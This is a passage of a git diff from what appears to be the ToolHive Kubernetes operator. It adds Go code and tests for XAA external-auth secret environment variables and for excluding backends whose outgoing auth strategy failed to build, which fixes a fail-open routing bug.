&mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-default-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{Type: mcpv1beta1.ExternalAuthTypeXAA, XAA: xaaSpec()}, + } + inlineAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-inline-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{Type: mcpv1beta1.ExternalAuthTypeXAA, XAA: xaaSpec()}, + } + discoveredAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-discovered-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{Type: mcpv1beta1.ExternalAuthTypeXAA, XAA: xaaSpec()}, + } + // Unaffected backend: token_exchange never hard-errors on ambiguity, so it + // must still be defaulted and assigned in the same buildOutgoingAuthConfig call. + tokenExchangeAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "te-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", + // SubjectProviderName intentionally left empty + }, + }, + } + + discoveredServer := v1beta1test.NewMCPServer("xaa-discovered-backend", "default", + v1beta1test.WithExternalAuthConfigRef("xaa-discovered-auth"), + ) + unaffectedServer := v1beta1test.NewMCPServer("token-exchange-backend", "default", + v1beta1test.WithExternalAuthConfigRef("te-auth"), + ) + + vmcp := v1beta1test.NewVirtualMCPServer("test-vmcp", "default", + v1beta1test.WithVMCPGroupRef("test-group"), + v1beta1test.WithVMCPOutgoingAuth(&mcpv1beta1.OutgoingAuthConfig{ + Source: "discovered", + Default: &mcpv1beta1.BackendAuthConfig{ + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{ + Name: "xaa-default-auth", + }, + }, + Backends: map[string]mcpv1beta1.BackendAuthConfig{ + "xaa-inline-backend": { + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{ + Name: "xaa-inline-auth", + }, + }, + }, + }), + // 2 upstreams makes the xaa strategies above ambiguous; token_exchange + // is unaffected and defaults to the first one ("first"). + v1beta1test.WithVMCPAuthServerConfig(embeddedAuthServerCfg("first", "second")), + ) + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects( + vmcp, discoveredServer, unaffectedServer, + defaultAuthConfig, inlineAuthConfig, discoveredAuthConfig, tokenExchangeAuthConfig, + ). + Build() + + r := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + workloadNames := []workloads.TypedWorkload{ + {Name: "xaa-discovered-backend", Type: workloads.WorkloadTypeMCPServer}, + {Name: "token-exchange-backend", Type: workloads.WorkloadTypeMCPServer}, + } + + config, _, allAuthErrors := r.buildOutgoingAuthConfig(context.Background(), vmcp, workloadNames) + + require.NotNil(t, config) + + // All 3 ambiguous xaa call sites produced a non-fatal AuthConfigError... + require.Len(t, allAuthErrors, 3) + errorsByContext := make(map[string]AuthConfigError, len(allAuthErrors)) + for _, authErr := range allAuthErrors { + errorsByContext[authErr.Context] = authErr + } + for _, wantContext := range []string{ + authContextDefault, + authContextBackendPrefix + "xaa-inline-backend", + authContextDiscoveredPrefix + "xaa-discovered-backend", + } { + authErr, ok := errorsByContext[wantContext] + require.True(t, ok, "expected an AuthConfigError with Context %q", wantContext) + assert.Equal(t, authReasonAmbiguousSubjectProvider, authErr.Reason) + assert.ErrorIs(t, authErr.Error, authtypes.ErrAmbiguousSubjectProvider) + } + + // ...and none of them were assigned into the resulting config. + assert.Nil(t, config.Default) + assert.NotContains(t, config.Backends, "xaa-inline-backend") + assert.NotContains(t, config.Backends, "xaa-discovered-backend") + + // The unaffected token_exchange backend still reconciles successfully in + // the same call, proving this is a per-backend condition, not a + // whole-function failure. + require.Contains(t, config.Backends, "token-exchange-backend") + require.NotNil(t, config.Backends["token-exchange-backend"].TokenExchange) + assert.Equal(t, "first", config.Backends["token-exchange-backend"].TokenExchange.SubjectProviderName) +} + +// TestGetExternalAuthConfigSecretEnvVars_XAA verifies the XAA arm of +// getExternalAuthConfigSecretEnvVars: it must return one env var per configured +// SecretKeyRef (IdP and/or target), sourced from the referenced Secret, with +// names generated by GenerateUniqueXAAIDPSecretEnvVarName and +// GenerateUniqueXAATargetSecretEnvVarName respectively. +func TestGetExternalAuthConfigSecretEnvVars_XAA(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + authCfg *mcpv1beta1.MCPExternalAuthConfig + wantEnvNames []string + wantSecretRefs map[string]struct{ name, key string } // env var name → secret ref + }{ + { + name: "both idp and target secret refs", + authCfg: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-cfg", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + }, + }, + }, + wantEnvNames: []string{ + "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_CFG", + "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_XAA_CFG", + }, + wantSecretRefs: map[string]struct{ name, key string }{ + "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_CFG": {name: "idp-secret", key: "client-secret"}, + "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_XAA_CFG": {name: "target-secret", key: "client-secret"}, + }, + }, + { + name: "only idp secret ref", + authCfg: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-idp", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "idp-key", + }, + }, + }, + }, + wantEnvNames: []string{"TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_IDP"}, + wantSecretRefs: map[string]struct{ name, key string }{ + "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_IDP": {name: "idp-secret", key: "idp-key"}, + }, + }, + { + name: "no secret refs returns nil", + authCfg: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-none", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + wantEnvNames: nil, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(tt.authCfg). + Build() + + r := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + envVars, err := r.getExternalAuthConfigSecretEnvVars(t.Context(), "default", tt.authCfg.Name) + require.NoError(t, err) + + if len(tt.wantEnvNames) == 0 { + assert.Empty(t, envVars) + return + } + + require.Len(t, envVars, len(tt.wantEnvNames)) + for _, ev := range envVars { + assert.Contains(t, tt.wantEnvNames, ev.Name, + "unexpected env var name %q", ev.Name) + if ref, ok := tt.wantSecretRefs[ev.Name]; ok { + require.NotNil(t, ev.ValueFrom) + require.NotNil(t, ev.ValueFrom.SecretKeyRef) + assert.Equal(t, ref.name, ev.ValueFrom.SecretKeyRef.Name) + assert.Equal(t, ref.key, ev.ValueFrom.SecretKeyRef.Key) + } + } + }) + } +} + // TestGetExternalAuthConfigSecretEnvVars_OBO proves the obo arm of the // getExternalAuthConfigSecretEnvVars switch dispatches through the registered // OBO handler. With the default handler the method must return an error diff --git a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go index 73170f3fc8..9ed1a1cec0 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go @@ -21,6 +21,7 @@ import ( "github.com/stacklok/toolhive/pkg/groups" vmcptypes "github.com/stacklok/toolhive/pkg/vmcp" "github.com/stacklok/toolhive/pkg/vmcp/aggregator" + authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/pkg/vmcp/workloads" ) @@ -351,6 +352,41 @@ func extractInlineBackendNames(vmcp *mcpv1beta1.VirtualMCPServer) []string { return names } +// backendsWithFailedAuth returns the set of backend names whose outgoing auth strategy +// failed to build (conversion error, mirrored-invalid source, or subject-provider +// injection error). These backends must never be served: since ResolveForBackend falls +// through to Default for any backend absent from OutgoingAuthConfig.Backends, silently +// omitting a failed backend from that map is not enough to keep it from being routed to +// with the wrong (Default) identity — it must also be dropped from the served backend set. +// +// Default-only errors (empty BackendName) are excluded here: they aren't tied to a +// specific backend, and a backend that falls through to a nil Default degrades to the +// explicit "unauthenticated" strategy rather than picking up a different identity. +// +// A backend name recorded in authErrors is only added to the exclusion set if it also +// lacks a successfully-resolved strategy in resolvedBackends. A backend can accumulate an +// error from one path (e.g. a broken discovered ExternalAuthConfigRef) while still ending +// up with a valid strategy from another (e.g. an inline override) — discoverExternalAuthConfigs +// records the discovered-path error before checking whether an inline override makes the +// discovered result irrelevant. Excluding such a backend would drop a fully routable backend +// from the served set. +func backendsWithFailedAuth( + authErrors []AuthConfigError, + resolvedBackends map[string]*authtypes.BackendAuthStrategy, +) map[string]struct{} { + failed := make(map[string]struct{}) + for _, authErr := range authErrors { + if authErr.BackendName == "" { + continue + } + if resolvedBackends[authErr.BackendName] != nil { + continue + } + failed[authErr.BackendName] = struct{}{} + } + return failed +} + // determineValidInlineBackends determines which inline backends have valid auth configs. func determineValidInlineBackends(authConfig *vmcpconfig.OutgoingAuthConfig, inlineBackendNames []string) []string { if authConfig == nil || authConfig.Backends == nil { @@ -397,6 +433,15 @@ func (r *VirtualMCPServerReconciler) processOutgoingAuth( // All errors are non-fatal - the system continues in degraded mode with partial auth config authConfig, backendsWithAuthConfig, allAuthErrors := r.buildOutgoingAuthConfig(ctx, vmcp, typedWorkloads) + // Backends whose auth strategy failed to build must be excluded from the served + // set entirely — see backendsWithFailedAuth for why omission from + // authConfig.Backends alone is not sufficient. + var resolvedBackends map[string]*authtypes.BackendAuthStrategy + if authConfig != nil { + resolvedBackends = authConfig.Backends + } + excludedBackends := backendsWithFailedAuth(allAuthErrors, resolvedBackends) + // Extract inline backend names and determine valid auth configs inlineBackendNames := extractInlineBackendNames(vmcp) hasValidDefaultAuth := authConfig != nil && authConfig.Default != nil @@ -437,7 +482,7 @@ func (r *VirtualMCPServerReconciler) processOutgoingAuth( return fmt.Errorf("failed to build CA bundle path map for static mode: %w", err) } - discoveredBackends := convertBackendsToStaticBackends(ctx, backends, transportMap, caBundlePathMap) + discoveredBackends := convertBackendsToStaticBackends(ctx, backends, transportMap, caBundlePathMap, excludedBackends) config.Backends = mergeStaticBackends(config.Backends, discoveredBackends) // Validate at least one backend exists diff --git a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go index a58694d9fd..7e2a183cf0 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig_test.go @@ -1935,6 +1935,326 @@ func TestConfigMapContent_StaticModeWithDiscovery(t *testing.T) { t.Log("Static mode ConfigMap contains both auth configs, backend URLs/transports, and metadata") } +// TestConfigMapContent_StaticMode_ExcludesBackendWithFailedAuth is a regression test for the +// fail-open bug where a backend whose outgoing auth strategy failed to build (here, an xaa +// strategy with an empty SubjectProviderName made ambiguous by 2 configured upstreams) was +// correctly omitted from config.OutgoingAuth.Backends, but was still embedded in the static +// config.Backends list served to the vMCP runtime. Since OutgoingAuthConfig.ResolveForBackend +// falls through to Default for any backend absent from Backends, that backend would have been +// silently served with the Default (token_exchange) identity instead of being unroutable. +// +// This test exercises the full ensureVmcpConfigConfigMap pipeline (not just +// buildOutgoingAuthConfig in isolation) and asserts the failed backend is absent from BOTH +// config.OutgoingAuth.Backends and the served config.Backends list, while an unaffected +// backend relying on the same Default strategy is still served. +func TestConfigMapContent_StaticMode_ExcludesBackendWithFailedAuth(t *testing.T) { + t.Parallel() + + const ( + issuer = "https://auth.example.com" + audience = "https://api.example.com" + ) + + ctx := context.Background() + testScheme := testutil.NewScheme(t) + + mcpGroup := &mcpv1beta1.MCPGroup{ + ObjectMeta: metav1.ObjectMeta{Name: "test-group", Namespace: "default"}, + Status: mcpv1beta1.MCPGroupStatus{Phase: mcpv1beta1.MCPGroupPhaseReady}, + } + + // An embedded auth server requires OIDC incoming auth, and the two must agree on + // issuer/audience (ValidateAuthServerIntegration) — this is plumbing required to + // reach the xaa ambiguity check, not itself under test. + oidcConfig := &mcpv1beta1.MCPOIDCConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "test-oidc", Namespace: "default"}, + Spec: mcpv1beta1.MCPOIDCConfigSpec{ + Type: mcpv1beta1.MCPOIDCConfigTypeInline, + Inline: &mcpv1beta1.InlineOIDCSharedConfig{Issuer: issuer}, + }, + } + + // b1's override strategy is xaa with an empty SubjectProviderName, which becomes + // ambiguous once 2 upstream providers are configured on the embedded auth server below. + xaaAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "xaa-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + // SubjectProviderName intentionally left empty. + }, + }, + } + + // Default strategy is a valid token_exchange config, used by b2. + tokenExchangeAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "te-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", + }, + }, + } + + b1 := v1beta1test.NewMCPServer("b1", "default", + v1beta1test.WithMCPGroupRef("test-group"), + v1beta1test.WithTransport("sse"), + v1beta1test.WithStatus(mcpv1beta1.MCPServerStatus{ + Phase: mcpv1beta1.MCPServerPhaseReady, + URL: "http://b1.default.svc.cluster.local:8080", + }), + ) + b2 := v1beta1test.NewMCPServer("b2", "default", + v1beta1test.WithMCPGroupRef("test-group"), + v1beta1test.WithTransport("sse"), + v1beta1test.WithStatus(mcpv1beta1.MCPServerStatus{ + Phase: mcpv1beta1.MCPServerPhaseReady, + URL: "http://b2.default.svc.cluster.local:8080", + }), + ) + + vmcpServer := v1beta1test.NewVirtualMCPServer("test-vmcp", "default", + v1beta1test.WithVMCPGroupRef("test-group"), + v1beta1test.WithVMCPIncomingAuth(&mcpv1beta1.IncomingAuthConfig{ + Type: "oidc", + OIDCConfigRef: &mcpv1beta1.MCPOIDCConfigReference{ + Name: "test-oidc", + Audience: audience, + ResourceURL: audience, + }, + }), + v1beta1test.WithVMCPOutgoingAuth(&mcpv1beta1.OutgoingAuthConfig{ + Source: "inline", + Default: &mcpv1beta1.BackendAuthConfig{ + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{Name: "te-auth"}, + }, + Backends: map[string]mcpv1beta1.BackendAuthConfig{ + "b1": { + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{Name: "xaa-auth"}, + }, + }, + }), + // 2 upstreams makes b1's xaa override ambiguous. + v1beta1test.WithVMCPAuthServerConfig(&mcpv1beta1.EmbeddedAuthServerConfig{ + Issuer: issuer, + SigningKeySecretRefs: []mcpv1beta1.SecretKeyRef{ + {Name: "signing-key-secret", Key: "key.pem"}, + }, + UpstreamProviders: []mcpv1beta1.UpstreamProviderConfig{ + { + Name: "first", + Type: mcpv1beta1.UpstreamProviderTypeOIDC, + OIDCConfig: &mcpv1beta1.OIDCUpstreamConfig{ + IssuerURL: "https://first-idp.example.com", + ClientID: "first-client-id", + }, + }, + { + Name: "second", + Type: mcpv1beta1.UpstreamProviderTypeOIDC, + OIDCConfig: &mcpv1beta1.OIDCUpstreamConfig{ + IssuerURL: "https://second-idp.example.com", + ClientID: "second-client-id", + }, + }, + }, + }), + ) + + fakeClient := fake.NewClientBuilder(). + WithScheme(testScheme). + WithObjects(vmcpServer, mcpGroup, b1, b2, xaaAuthConfig, tokenExchangeAuthConfig, oidcConfig). + WithStatusSubresource(b1, b2). + Build() + + reconciler := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: testScheme, + } + + workloadDiscoverer := workloads.NewK8SDiscovererWithClient(fakeClient, vmcpServer.Namespace) + workloadNames, err := workloadDiscoverer.ListWorkloadsInGroup(ctx, vmcpServer.ResolveGroupName()) + require.NoError(t, err) + require.Len(t, workloadNames, 2, "should have discovered both backends") + + statusCollector := virtualmcpserverstatus.NewStatusManager(vmcpServer) + err = reconciler.ensureVmcpConfigConfigMap(ctx, vmcpServer, workloadNames, nil, statusCollector) + require.NoError(t, err, "reconciliation must succeed in degraded mode, not fail outright") + + configMap := &corev1.ConfigMap{} + err = fakeClient.Get(ctx, types.NamespacedName{ + Name: vmcpConfigMapName("test-vmcp"), + Namespace: "default", + }, configMap) + require.NoError(t, err) + + var config vmcpconfig.Config + err = yaml.Unmarshal([]byte(configMap.Data["config.yaml"]), &config) + require.NoError(t, err) + + require.NotNil(t, config.OutgoingAuth) + require.NotNil(t, config.OutgoingAuth.Default, "Default strategy must still build successfully") + assert.Equal(t, "token_exchange", config.OutgoingAuth.Default.Type) + assert.NotContains(t, config.OutgoingAuth.Backends, "b1", + "b1's ambiguous xaa override must not be assigned") + + // The actual regression: b1 must be excluded from the served/routable backend set + // entirely, not merely absent from OutgoingAuth.Backends while still reachable and + // falling back to Default at runtime. + servedNames := make([]string, 0, len(config.Backends)) + for _, backend := range config.Backends { + servedNames = append(servedNames, backend.Name) + } + assert.NotContains(t, servedNames, "b1", "b1 must be excluded from the served backend set") + assert.Contains(t, servedNames, "b2", "b2 must still be served via the valid Default strategy") +} + +// TestConfigMapContent_StaticMode_KeepsBackendWithValidInlineOverrideDespiteDiscoveredError +// is a regression test for an over-exclusion bug introduced by the fix for +// TestConfigMapContent_StaticMode_ExcludesBackendWithFailedAuth: backendsWithFailedAuth +// excluded a backend from the served set whenever ANY AuthConfigError named it, even if +// that same backend also had a fully valid, resolved strategy from another source. +// +// b1 here has both: a discovered ExternalAuthConfigRef on its own MCPServer spec that +// mirrors a Valid=False condition (mirroredExternalAuthConfigInvalid), which makes +// discoverExternalAuthConfigs record an AuthConfigError for "b1" unconditionally, and a +// valid inline override in vmcp.Spec.OutgoingAuth.Backends["b1"], applied in a separate, +// unconditional pass that ends up correctly populated in authConfig.Backends. +// discoverExternalAuthConfigs records the mirrored-invalid error before it even checks +// whether an inline override exists, so both the error and the valid strategy coexist for +// the same backend name. b1 must still be served using its valid inline strategy. +// +// The Valid=False mirror check is unique to the operator's own discovery path +// (mirroredExternalAuthConfigInvalid) and is not replicated by the independent backend +// discovery in pkg/vmcp/workloads (converters.DiscoverAndResolveAuth), so this scenario +// does not also trip that unrelated fail-closed mechanism. +func TestConfigMapContent_StaticMode_KeepsBackendWithValidInlineOverrideDespiteDiscoveredError(t *testing.T) { + t.Parallel() + + ctx := context.Background() + testScheme := testutil.NewScheme(t) + + mcpGroup := &mcpv1beta1.MCPGroup{ + ObjectMeta: metav1.ObjectMeta{Name: "test-group", Namespace: "default"}, + Status: mcpv1beta1.MCPGroupStatus{Phase: mcpv1beta1.MCPGroupPhaseReady}, + } + + // The valid inline override strategy for b1. + validAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "valid-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", + }, + }, + } + + // b1's own discovered ref exists and is otherwise convertible, but carries a + // Valid=False condition (e.g. as set by a validating webhook/controller). This + // makes discoverExternalAuthConfigs record an AuthConfigError for "b1" without + // affecting the independent, condition-agnostic auth discovery used for backend + // listing (converters.DiscoverAndResolveAuth), so b1 remains discoverable. + invalidRefAuthConfig := &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{Name: "invalid-ref-auth", Namespace: "default"}, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeTokenExchange, + TokenExchange: &mcpv1beta1.TokenExchangeConfig{ + TokenURL: "https://broken.example.com/token", + }, + }, + Status: mcpv1beta1.MCPExternalAuthConfigStatus{ + Conditions: []metav1.Condition{ + { + Type: mcpv1beta1.ConditionTypeValid, + Status: metav1.ConditionFalse, + Reason: "SomeValidationFailure", + Message: "this config is not valid", + LastTransitionTime: metav1.Now(), + }, + }, + }, + } + + b1 := v1beta1test.NewMCPServer("b1", "default", + v1beta1test.WithMCPGroupRef("test-group"), + v1beta1test.WithTransport("sse"), + v1beta1test.WithExternalAuthConfigRef("invalid-ref-auth"), + v1beta1test.WithStatus(mcpv1beta1.MCPServerStatus{ + Phase: mcpv1beta1.MCPServerPhaseReady, + URL: "http://b1.default.svc.cluster.local:8080", + }), + ) + + vmcpServer := v1beta1test.NewVirtualMCPServer("test-vmcp", "default", + v1beta1test.WithVMCPGroupRef("test-group"), + v1beta1test.WithVMCPIncomingAuth(&mcpv1beta1.IncomingAuthConfig{ + Type: "anonymous", + }), + v1beta1test.WithVMCPOutgoingAuth(&mcpv1beta1.OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]mcpv1beta1.BackendAuthConfig{ + "b1": { + Type: mcpv1beta1.BackendAuthTypeExternalAuthConfigRef, + ExternalAuthConfigRef: &mcpv1beta1.ExternalAuthConfigRef{Name: "valid-auth"}, + }, + }, + }), + ) + + fakeClient := fake.NewClientBuilder(). + WithScheme(testScheme). + WithObjects(vmcpServer, mcpGroup, b1, validAuthConfig, invalidRefAuthConfig). + WithStatusSubresource(b1, invalidRefAuthConfig). + Build() + + reconciler := &VirtualMCPServerReconciler{ + Client: fakeClient, + Scheme: testScheme, + } + + workloadDiscoverer := workloads.NewK8SDiscovererWithClient(fakeClient, vmcpServer.Namespace) + workloadNames, err := workloadDiscoverer.ListWorkloadsInGroup(ctx, vmcpServer.ResolveGroupName()) + require.NoError(t, err) + require.Len(t, workloadNames, 1, "should have discovered b1") + + statusCollector := virtualmcpserverstatus.NewStatusManager(vmcpServer) + err = reconciler.ensureVmcpConfigConfigMap(ctx, vmcpServer, workloadNames, nil, statusCollector) + require.NoError(t, err, "reconciliation must succeed despite the discovered-path error") + + configMap := &corev1.ConfigMap{} + err = fakeClient.Get(ctx, types.NamespacedName{ + Name: vmcpConfigMapName("test-vmcp"), + Namespace: "default", + }, configMap) + require.NoError(t, err) + + var config vmcpconfig.Config + err = yaml.Unmarshal([]byte(configMap.Data["config.yaml"]), &config) + require.NoError(t, err) + + require.NotNil(t, config.OutgoingAuth) + b1Strategy, exists := config.OutgoingAuth.Backends["b1"] + require.True(t, exists, "b1's valid inline override must still be assigned") + require.NotNil(t, b1Strategy) + assert.Equal(t, "token_exchange", b1Strategy.Type) + + // The actual regression: b1 must remain in the served/routable backend set because it + // has a valid, resolved strategy, even though an AuthConfigError was also recorded for + // it via the unrelated broken discovered ref. + servedNames := make([]string, 0, len(config.Backends)) + for _, backend := range config.Backends { + servedNames = append(servedNames, backend.Name) + } + assert.Contains(t, servedNames, "b1", "b1 must not be excluded when it has a valid resolved strategy") +} + // TestConvertBackendsToStaticBackends_SkipsInvalidBackends tests that backends // without URL or transport are skipped with appropriate logging func TestConvertBackendsToStaticBackends_SkipsInvalidBackends(t *testing.T) { @@ -1967,7 +2287,7 @@ func TestConvertBackendsToStaticBackends_SkipsInvalidBackends(t *testing.T) { // "no-transport-backend" intentionally missing } - result := convertBackendsToStaticBackends(ctx, backends, transportMap, nil) + result := convertBackendsToStaticBackends(ctx, backends, transportMap, nil, nil) // Should only include the valid backend assert.Len(t, result, 1, "should only include backends with URL and transport") @@ -1977,6 +2297,35 @@ func TestConvertBackendsToStaticBackends_SkipsInvalidBackends(t *testing.T) { assert.Equal(t, "value", result[0].Metadata["key"]) } +// TestConvertBackendsToStaticBackends_ExcludesFailedAuthBackends verifies that a backend +// named in excludedBackends is dropped from the served set even though it otherwise has a +// valid URL and transport. This is the fix for the fail-open bug where a backend whose +// outgoing auth strategy failed to build (e.g. an ambiguous XAA SubjectProviderName) would +// still be embedded in the static backend list and silently fall back to the Default auth +// strategy at runtime. +func TestConvertBackendsToStaticBackends_ExcludesFailedAuthBackends(t *testing.T) { + t.Parallel() + + ctx := context.Background() + + backends := []vmcp.Backend{ + {Name: "healthy-backend", BaseURL: "http://backend1:8080", TransportType: "sse"}, + {Name: "failed-auth-backend", BaseURL: "http://backend2:8080", TransportType: "sse"}, + } + transportMap := map[string]string{ + "healthy-backend": "sse", + "failed-auth-backend": "sse", + } + excludedBackends := map[string]struct{}{ + "failed-auth-backend": {}, + } + + result := convertBackendsToStaticBackends(ctx, backends, transportMap, nil, excludedBackends) + + require.Len(t, result, 1, "the excluded backend must not be served") + assert.Equal(t, "healthy-backend", result[0].Name) +} + // TestStaticModeTransportConstants verifies that the transport constants match the CRD enum. // This test ensures consistency between runtime validation and CRD schema validation. func TestStaticModeTransportConstants(t *testing.T) { @@ -2455,7 +2804,7 @@ func TestConvertBackendsToStaticBackends_WithCABundlePathMap(t *testing.T) { t.Run(tt.name, func(t *testing.T) { t.Parallel() - result := convertBackendsToStaticBackends(t.Context(), tt.backends, tt.transportMap, tt.caBundlePathMap) + result := convertBackendsToStaticBackends(t.Context(), tt.backends, tt.transportMap, tt.caBundlePathMap, nil) assert.Len(t, result, tt.expectedCount) if tt.validateBackends != nil { diff --git a/cmd/thv-operator/pkg/controllerutil/externalauth.go b/cmd/thv-operator/pkg/controllerutil/externalauth.go index 0412f7d3b3..5bf012a1f0 100644 --- a/cmd/thv-operator/pkg/controllerutil/externalauth.go +++ b/cmd/thv-operator/pkg/controllerutil/externalauth.go @@ -44,6 +44,30 @@ func GenerateUniqueHeaderInjectionEnvVarName(configName string) string { return fmt.Sprintf("TOOLHIVE_HEADER_INJECTION_VALUE_%s", sanitized) } +// GenerateUniqueXAAIDPSecretEnvVarName generates a unique environment variable name for XAA +// IdP client secrets, incorporating the ExternalAuthConfig name to ensure uniqueness across +// multiple configs. Used by both the converter and deployment controller for consistent naming. +// +// Example: For an ExternalAuthConfig named "my-auth-config", this returns: +// "TOOLHIVE_XAA_IDP_CLIENT_SECRET_MY_AUTH_CONFIG" +func GenerateUniqueXAAIDPSecretEnvVarName(configName string) string { + sanitized := strings.ToUpper(strings.ReplaceAll(configName, "-", "_")) + sanitized = envVarSanitizer.ReplaceAllString(sanitized, "_") + return fmt.Sprintf("TOOLHIVE_XAA_IDP_CLIENT_SECRET_%s", sanitized) +} + +// GenerateUniqueXAATargetSecretEnvVarName generates a unique environment variable name for XAA +// target AS client secrets, incorporating the ExternalAuthConfig name to ensure uniqueness across +// multiple configs. Used by both the converter and deployment controller for consistent naming. +// +// Example: For an ExternalAuthConfig named "my-auth-config", this returns: +// "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_MY_AUTH_CONFIG" +func GenerateUniqueXAATargetSecretEnvVarName(configName string) string { + sanitized := strings.ToUpper(strings.ReplaceAll(configName, "-", "_")) + sanitized = envVarSanitizer.ReplaceAllString(sanitized, "_") + return fmt.Sprintf("TOOLHIVE_XAA_TARGET_CLIENT_SECRET_%s", sanitized) +} + // Header-forward env-var helpers (constants + name generators + the shared // header-name normalizer) moved to pkg/vmcp/headerforward/wirefmt so the // runtime can consume them without inverting Go layering. Operator code diff --git a/cmd/thv-operator/pkg/controllerutil/resources_test.go b/cmd/thv-operator/pkg/controllerutil/resources_test.go index 4f0da39419..6405014336 100644 --- a/cmd/thv-operator/pkg/controllerutil/resources_test.go +++ b/cmd/thv-operator/pkg/controllerutil/resources_test.go @@ -302,3 +302,54 @@ func 